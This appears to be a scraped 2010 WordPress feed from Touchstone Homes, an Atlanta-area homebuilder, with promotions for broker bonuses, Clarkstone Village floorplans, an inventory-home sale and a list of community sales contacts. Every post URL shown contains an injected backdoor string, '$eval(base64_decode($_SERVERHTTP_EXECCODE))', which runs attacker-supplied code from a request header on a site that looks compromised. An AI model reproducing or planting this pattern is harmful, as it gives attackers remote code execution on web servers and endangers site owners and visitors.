Touchstone Homes http://touchstonehomesblog.com Designed for Living, Built for Life Wed, 01 Sep 2010 12:53:25 +0000 en hourly 1 http://wordpress.org/?v=3.0.1 Touchstone Homes offers Broker Bonus http://touchstonehomesblog.com/2010/09/01/touchstone-homes-offers-broker-bonus/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/09/01/touchstone-homes-offers-broker-bonus/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 01 Sep 2010 12:53:25 +0000 tbennett http://touchstonehomesblog.com/?p=343 Starting September 1st through September 30th, Touchstone Homes is offering a $3000 Broker Bonus on top of discounted pricing on inventory homes in ALL Touchstone Homes communities in Metro Atlanta!  There are over 50 homes to choose from including new homes under construction in Flowery Branch at Sterling on the Lake and Clarkstone Village, Touchstone Homes newest community!!

Bring your buyers to see our beautiful new craftsman style homes and townhomes.  Check out our web site for locations and available homes.  You will find a great deal for your buyer AND get a little extra spending money as the Selling Agent!!

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The Clearwater

Two new floorplans are being introduced at Clarkstone Village – the Campbell and the Clearwater.   Both plans are Energy Star ® certified homes.  Energy Star ® certified homes are proven to be 15% more energy efficient than a standard built home, thus saving the consumer money on utilities while the new homeowner enjoys a more comfortable and healthy indoor living environment.  An Energy Star ® home is a healthy home.  An Energy Star ® home features energy efficient heating & cooling systems, blown in “Spider” insulation, windows, doors, ceiling fans, and dishwashers.

“Clarkstone Village is the perfect community and location for first time buyers or down sizing families,” says Mike Zambri, Sales Manager at Touchstone Homes, “The pricing in Clarkstone Village has been reset for today’s Buyer in a price range that is practical for this market.  We are also able to offer our Buyers more value for their dollar due to current market conditions.”

Clarkstone Village is located in the City of Flowery Branch in Hall County.  Clarkstone Village offers low maintenance living and includes:  beautifully landscaped entrance, street lights, and sidewalks within the community.  You are just minutes to the Spout Springs shopping area including Home Depot, Super Target and Kohl’s.  Prices for Clarkstone Village start in the $140’s with the same quality that Touchstone Homes is known for.

Clarkstone Village is serviced by Flowery Branch Elementary, West Hall Middle and West Hall High Schools.  To visit Clarkstone Village travel on Interstate 985 North to exit 12, turn left off the exit and travel approximately 1/2 mile and turn right onto Thurmon-Tanner Parkway.  Travel .8 miles and turn left onto Cantrell Road, entrance to Clarkstone Village will be on the right.  For information on Clarkstone Village, call Jeff Barnes at 770-965-7816 or email clarkstonevillage@touchstonehomes.com.

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Well today, Sterling launches their new and improved web site. Gorgeous photography, search by builder, search available homes, or check out what is going on with Sterling Life. Check it out for yourself by clicking here!

]]> http://touchstonehomesblog.com/2010/08/06/sterling-on-the-lake-gets-new-web-look/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 Newest Touchstone Community in Hall County http://touchstonehomesblog.com/2010/07/29/newest-touchstone-community-in-hall-county/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/07/29/newest-touchstone-community-in-hall-county/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 29 Jul 2010 14:27:07 +0000 tbennett http://touchstonehomesblog.com/?p=313 Touchstone Homes has a brand new single family community coming online August 1. Clarkstone Village is a cozy community located in Flowery Branch near Spout Springs Road and Interstate 985. There are 17 existing homeowners, Touchstone Homes has purchased 34 lots where we intend to build craftsman style homes similar to those you see when you visit the community.

Touchstone Homes is rolling out two new floorplans for this community – the Campbell and the Clearwater. Both are 2-story plans with 3-4 bedrooms, opening floorplan for entertaining and flexible spaces.

These new plans will start in the $140,000s. First homes available in October or pre-sale homes are available now. Contact Jeff Barnes at 770.965.7816 or email clarkstonevillage@touchstonehomes.com for more information.

You can also visit our web site TouchstoneHomes.com for additional information on this brand new community.

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]]> http://touchstonehomesblog.com/2010/07/26/summer-promotion-and-6-co-op/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 0 No Reasonable Offer Refused July 17-31 on Inventory Homes http://touchstonehomesblog.com/2010/07/15/no-reasonable-offer-refused-july-17-31-on-inventory-homes/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://touchstonehomesblog.com/2010/07/15/no-reasonable-offer-refused-july-17-31-on-inventory-homes/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 15 Jul 2010 12:19:35 +0000 tbennett http://touchstonehomesblog.com/?p=304 Touchstone Homes announces a HUGE promotion beginning on July 17th . The company is offering a 6% (six percent) Selling Commission on any inventory homes. Touchstone Homes has 49 inventory homes throughout Metro Atlanta available for immediate closing. In order to qualify for the incentives, contracts must be written between July 17th-31st and homes must close by September 30, 2010.

“Touchstone Homes is in the process of rebooting and rolling out new and improved floorplans for today’s market,” said Mike Zambri, Sales Manager of Touchstone Homes. “To make way for these exciting new floorplans, we have discounted inventory homes anywhere from $15,000 up to $100,000. Also, Touchstone is offering co-op agents an unprecedented 6% selling commission. And to sweeten the deal even more, we are introducing a Buyer Bonus Incentive for this two week promotion.”
The Buyer Bonus Incentive is being introduced during this two week promotion to help the new homeowner furnish their new home or take a mini-vacation after the stress of getting settled into their new home! See Agent for Full Details. The Buyer will have the opportunity to win one of four of the following prizes when they write a contract for a home:

1. Apple iPad 64 GB
2. Panasonic 50” Plasma Television
3. 36,000 Delta Skymiles (must have valid Skymiles Account)
4. $1,500 Rooms to Go gift card

Touchstone Homes offers townhomes from the $140s and Single Family Homes from the $200s.

Townhomes
Riverdance, Suwanee – Angel Whiteman – 770-476-7374
Lanier Walk, Cumming – Jeff Barnes – 770-403-1155
Park Place, Cumming – Dennis Doll – 404-641-8505
Ridenour, Kennesaw – Emily Peker – 770-422-8807
Village Grove, Suwanee – Elaine Gentry – 770-831-6883
New Haven Walk, Roswell – Barbara Lutz – 678-461-6011

Single Family
Village Grove, Suwanee – Elaine Gentry – 770-831-6883
Sterling on the Lake, Flowery Branch – Jeff Barnes – 770-965-7816
Hampton, Cumming – Sharon Jones – 678-947-1494
Windermere, Cumming – Sharon Jones – 678-232-9151
Ivey Chase, Dacula – Jeff Barnes – 770-403-1155
Trilogy Park, Hoschton – Jeff Barnes – 770-403-1155
Sienna on the River, Braselton – Tom Collins – 706-338-5141
Tributary, Douglasville – Molly White – 678-391-0026

See the web site www.TouchstoneHomes.com for available homes and community locations.

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Mimi S., Suwanee, GA
Riverdance Townhome Community

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